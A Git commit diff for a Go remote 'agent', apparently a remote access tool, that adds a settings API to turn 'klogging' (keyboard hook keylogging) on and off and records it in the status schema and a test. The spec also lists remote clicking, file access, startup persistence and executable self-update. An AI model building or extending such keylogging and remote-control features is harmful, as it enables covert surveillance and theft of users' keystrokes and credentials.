feat(agent): add persistent klogging settings

- Add settings API and UI to toggle keylog
- Persist preference in settings.json
- Expose klogging state in status endpoint
- Inject build version into web console
- Bump version automatically on build
This commit is contained in:
2026-09-01 23:36:39 +03:00
parent a3c78820ed
commit ac31e52a8c
13 changed files with 329 additions and 14 deletions
+44 -10
View File
@@ -247,6 +247,25 @@ func Spec() map[string]any {
}),
},
},
"/api/v1/settings": map[string]any{
"get": map[string]any{
"summary": "Read agent settings",
"operationId": "getSettings",
"responses": auth(map[string]any{
"200": okJSON("Current settings", ref("Settings")),
}),
},
"put": map[string]any{
"summary": "Update agent settings",
"operationId": "updateSettings",
"description": "Persist klogging on/off. Disabling unhooks the keyboard hook immediately.",
"requestBody": jsonBody(ref("SettingsUpdate")),
"responses": auth(map[string]any{
"200": okJSON("Updated settings", ref("Settings")),
"400": errResp("Invalid body"),
}),
},
},
"/api/v1/update": map[string]any{
"post": map[string]any{
"summary": "Deploy uploaded agent executable on alternate port",
@@ -348,15 +367,16 @@ func Spec() map[string]any {
"Status": map[string]any{
"type": "object",
"properties": map[string]any{
"os": map[string]string{"type": "string"},
"architecture": map[string]string{"type": "string"},
"user": map[string]string{"type": "string"},
"hostname": map[string]string{"type": "string"},
"uptime_seconds": map[string]any{"type": "integer", "format": "int64"},
"local_ips": map[string]any{"type": "array", "items": map[string]string{"type": "string"}},
"agent_version": map[string]string{"type": "string"},
"listen_address": map[string]string{"type": "string"},
"startup_enabled": map[string]any{"type": "boolean"},
"os": map[string]string{"type": "string"},
"architecture": map[string]string{"type": "string"},
"user": map[string]string{"type": "string"},
"hostname": map[string]string{"type": "string"},
"uptime_seconds": map[string]any{"type": "integer", "format": "int64"},
"local_ips": map[string]any{"type": "array", "items": map[string]string{"type": "string"}},
"agent_version": map[string]string{"type": "string"},
"listen_address": map[string]string{"type": "string"},
"startup_enabled": map[string]any{"type": "boolean"},
"klogging": map[string]any{"type": "boolean"},
},
},
"FileItem": map[string]any{
@@ -418,9 +438,23 @@ func Spec() map[string]any {
},
},
"StartupState": map[string]any{
"type": "object",
"type": "object",
"properties": map[string]any{"startup_enabled": map[string]any{"type": "boolean"}},
},
"Settings": map[string]any{
"type": "object",
"properties": map[string]any{
"klogging": map[string]any{"type": "boolean"},
"klogging_running": map[string]any{"type": "boolean"},
},
},
"SettingsUpdate": map[string]any{
"type": "object",
"required": []string{"klogging"},
"properties": map[string]any{
"klogging": map[string]any{"type": "boolean"},
},
},
"ClickRequest": map[string]any{
"type": "object", "required": []string{"x", "y", "button"},
"properties": map[string]any{
+14
View File
@@ -28,4 +28,18 @@ func TestSpec(t *testing.T) {
if !ok || len(schemas) < 10 {
t.Fatalf("expected schemas, got %d", len(schemas))
}
status, ok := schemas["Status"].(map[string]any)
if !ok {
t.Fatal("missing Status schema")
}
props, ok := status["properties"].(map[string]any)
if !ok {
t.Fatal("missing Status properties")
}
if _, ok := props["klogging"]; !ok {
t.Fatal("Status missing klogging")
}
if _, ok := props["keylog_enabled"]; ok {
t.Fatal("Status still has keylog_enabled")
}
}